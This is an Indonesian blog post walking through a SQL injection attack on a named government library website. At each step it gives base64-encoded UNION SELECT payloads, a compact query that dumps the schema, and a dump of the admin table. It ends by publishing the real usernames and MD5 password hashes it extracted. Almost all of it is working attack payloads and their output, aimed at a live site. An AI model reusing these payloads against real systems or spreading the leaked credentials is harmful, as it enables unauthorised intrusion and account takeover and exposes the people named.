MYSQL Injection base64 statement

MYSQL Injection base64 statement

website: http://aplikasi.mgi.esdm.go.id/
bug location: http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTA=
Tools : Hackbar [Addons Mozilla]
bug type: MYSQL Injection base64 statement
author: X'1N73CT
POC:


[ Tahap 1 - TESTER ]
kita bisa lihat bahwa id web tersebut adalah base64
ini terbukti dari hasil decode id tersebut ( MTA= ) adalah 10
berhubung parameter idnya menggunakan encoding base64 maka tinggal merubah perintah SQLI nya dari text biasa / ASCII menjadi base64.

Seperti yang telah kita ketahui cara pentester yang biasa dilakukan adalah dengan menambahkan tanda [PETIK / ' ] setelah parameter "id"
sehingga menjadi :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10'
namun harus di encode dulu ke base64 [10 --> MTAn]
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAn
lalu buka di browser.

Hasil Output :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

ternyata hasil outputnya error, disini kita dapatkan bug sql injection nya terdapat pada parameter id.


[ Tahap 2 - MENCARI JUMLAH KOLOM ]
seperti biasa yg kita lakukan dalam tahap ini kita memakai perintah order by
seperti berikut:

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 1--
encode ke base64 lagi [ "10 order by 1--" menjadi "MTAgb3JkZXIgYnkgMS0t" ]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMS0t
lalu buka di browser.

Hasil Output : Output Masih Normal

kita lompat ke 100, kenapa saya melompat jauh ke 100 yakni ingin mengecek web ini di proteksi atau tidak.

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 100--
encode ke base64 lagi [ "10 order by 100--" menjadi "MTAgb3JkZXIgYnkgMTAwLS0=" ] :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMTAwLS0=

Hasil Output : Ternyata output web masih normal,
ada 2 kemungkinan, yakni website tersebut telah di proteksi atau jumlah kolomnya lebih dari 100,
untuk melakukan testing kita sisipkan perintah [ ' (petik)] dan [ -- - ]

sehingga menjadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 100-- -
encode ke base64 lagi : [ "10' order by 100-- -" menjadi "MTAnIG9yZGVyIGJ5IDEwMC0tIC0=" ]
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwMC0tIC0=
lalu buka di browser.

Hasil Output :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

ternyata hasil outputnya error.
berarti kolom database tidak sampai 100 ( adminnya mau nipu saya ohh tidak bisa  )

kita coba mundur ke angka 12
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 12-- -
encode dulu ke base64 [ "10' order by 12-- -" menjadi "MTAnIG9yZGVyIGJ5IDEyLS0gLQ==" ]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEyLS0gLQ==
lalu buka di browser.

Hasil Output :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

error, ternyata kolom database nya sampai 12.

kita coba angka 10

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 10-- -
kita encode dulu ke base64 [ "10' order by 10-- -" menjadi "MTAnIG9yZGVyIGJ5IDEwLS0gLQ==" ]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwLS0gLQ==

Hasil Output :
web kembali normal
wkwkkw. berarti kolomnya antara 10 - 11 heheh
mari kita coba 11.

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 11-- -
encode dulu ke base64 [ "10' order by 11-- -" menjadi "MTAnIG9yZGVyIGJ5IDExLS0gLQ=="]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDExLS0gLQ==

Hasil Output :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

ternyata kolomnya ada 10


[ Tahap 3 - MENCARI ANGKA INJEKSI / ANGKA AJAIB]
bisa ditebak kan di tahap ini kita menggunakan perintah apa?

yups anda benar kita memakai perintah union select di ikuti urutan jumlah angka yg kita temukan tadi

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
encode ke base64 [ "-10' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" menjadi "LTEwJyBVTklPTiBTRUxFQ1QgMSwyLDMsNCw1LDYsNyw4LDksMTAtLSAt" ] :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSwyLDMsNCw1LDYsNyw4LDksMTAtLSAt

Hasil Output :
keluar angka 2,3,4,5,6,7,8,10
yups itulah angka injeksi / angka ajaib untuk digunakan di langkah selanjutnya.



[ Tahap 4 - MENCARI VERSI MYSQL ]
ok dalam tahap ini kita menggunakan perintah "version()" atau "@@version"
kita sisipkan di salah satu angka yang keluar tadi

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,version(),3,4,5,6,7,8,9,10-- -
encode ke base64 :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSx2ZXJzaW9uKCksMyw0LDUsNiw3LDgsOSwxMC0tIC0=

Hasil Output :
tampilan angka 2 tadi berubah menjadi 5.1.30
yupp mantapp kita dapat versi 5
kalau versi kurang dari 5 kita harus tebak sendiri nama kolomnya


[ Tahap 5 - FAST SQLI ]
guna mempersingkat waktu saya pakai teknik ini saja
tekniknya mudah kok tinggal menggantikan perintah version dengan perintah ini
concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:=@running_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x))

taruh di parameter "id", yaitu seperti berikut :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:=@running_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x)),3,4,5,6,7,8,9,10-- -
jangan lupa di encode ke base64 :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxjb25jYXQoMHgzYzYyM2U0MTc1NzQ2ODZmNzIyMDIwM2EyMDIwMjA1ODI3MzE0ZTM3MzM0MzU0M2M0MjUyM2U0MjU1NDcyMDU0Nzk3MDY1MjAzYTIwMjA1MzUxNGM0OTNjNjI3MjNlNGQ1OTUzNTE0YzIwNTY2NTcyNzM2OTZmNmUzYTIwLHZlcnNpb24oKSwoU0VMRUNUKEB4KWZyb20oU0VMRUNUKEB4Oj0weDAwKSwoQHJ1bm5pbmdfbnVtYmVyOj0wKSwoU0VMRUNUKDApZnJvbShpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyl3aGVyZSh0YWJsZV9zY2hlbWEhPTB4Njk2ZTY2NmY3MjZkNjE3NDY5NmY2ZTVmNzM2MzY4NjU2ZDYxKWFuZCgweDAwKWluKEB4Oj1jb25jYXQoQHgsMHgzYzYyNzIzZTIwLChAcnVubmluZ19udW1iZXI6PUBydW5uaW5nX251bWJlcisxKSwweDJlMjAsdGFibGVfc2NoZW1hLDB4MjAzZDNkM2UyMCx0YWJsZV9uYW1lLDB4MjAzZDNkM2UyMCxjb2x1bW5fbmFtZSkpKSl4KSksMyw0LDUsNiw3LDgsOSwxMC0tIC0=

Hasil Output :
taraa,,
bisa dilihat sendiri

lanjut kita cari username dan passwordnya
gunakan kombinasi keyboard [ ctrl+f ] lalu masukkan keyword "pass" lalu tekan enter

berhubung website tersebut memiliki database yang banyak
kita lihat database web ini dengan cara
mengganti perintah fast sqli tadi dengan perintah database()
cekidot
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,database(),3,4,5,6,7,8,9,10-- -
encode dulu ke base64 :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAtLSAt

Hasil Output :
muncul kata
"omen"

yups nama databasenya adalah omen
klik back di firefox untuk kembali ke fast sqli tadi
lalu kita ctrl+f kata omen
dan cari username "admin".

 ketemu.

2864. omen ==> admin ==> id
2865. omen ==> admin ==> nama
2866. omen ==> admin ==> user
2867. omen ==> admin ==> pass

format fast sqli disini ialah

namadatabase ==> namatabel ==> namakolom
jadi
namadatabase: omen
nama tabel : admin
nama column : id,nama,user,pass


[ Tahap 6 - DUMP ISI DATA ]

jika sudah tau nama database,namatabel dan nama kolomnya lngkah selnjutnya ialah kita buka datanya
buka datanya sama seperti biasa
yaitu dengan perintah
group_concat(namakolom) diikuti dengan from nama_tabel

namun jika databasenya kelihatan banyak bisa juga pakai yang ini

group_concat(namakolom) diikuti dengan from namadatabase.namatabel

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,group_concat(user,0x3a,pass),3,4,5,6,7,8,9,10 from omen.admin-- -

encode ke base64:

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQodXNlciwweDNhLHBhc3MpLDMsNCw1LDYsNyw4LDksMTAgZnJvbSBvbWVuLmFkbWluLS0gLQ==

Hasil Output :
juhe:704b037a97fa9b25522b7c014c300f8a,
mgi:2d8ba2223ae0795eb813db8aa28bf0aa,
yuni:e10adc3949ba59abbe56e057f20f883e,
narto:350182be1d34410b443f569865119912,
dery:ee453e6c81726c71cfdd34e74791d600

MYSQL Injection base64 statement MYSQL Injection base64 statement Reviewed by Sitakom Blog on 2:19 PM Rating: 5

No comments: